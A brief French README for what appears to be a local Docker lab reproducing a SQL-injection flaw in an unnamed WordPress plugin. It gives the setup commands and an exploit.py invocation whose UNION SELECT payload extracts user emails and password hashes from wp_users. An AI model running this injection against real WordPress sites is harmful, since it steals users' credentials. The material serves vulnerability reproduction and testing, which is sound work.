Comment l'utiliser

• Démarrez mysql, wordpress et wordpress-cli en utilisant docker-compose

docker-compose -f docker-compose.yaml up -d

• Installez wordpress, activez le plugin et créez un utilisateur avec le rôle subscriber en utilisant wordpress-cli

docker-compose run --rm wp-cli install-wp

• Lancez le script d'exploitation avec une requête sql qui récupère les emails et les mots de passe des utilisateurs

python3 exploit.py -C 'union select 1,1,user_email,user_pass from wp_users -- '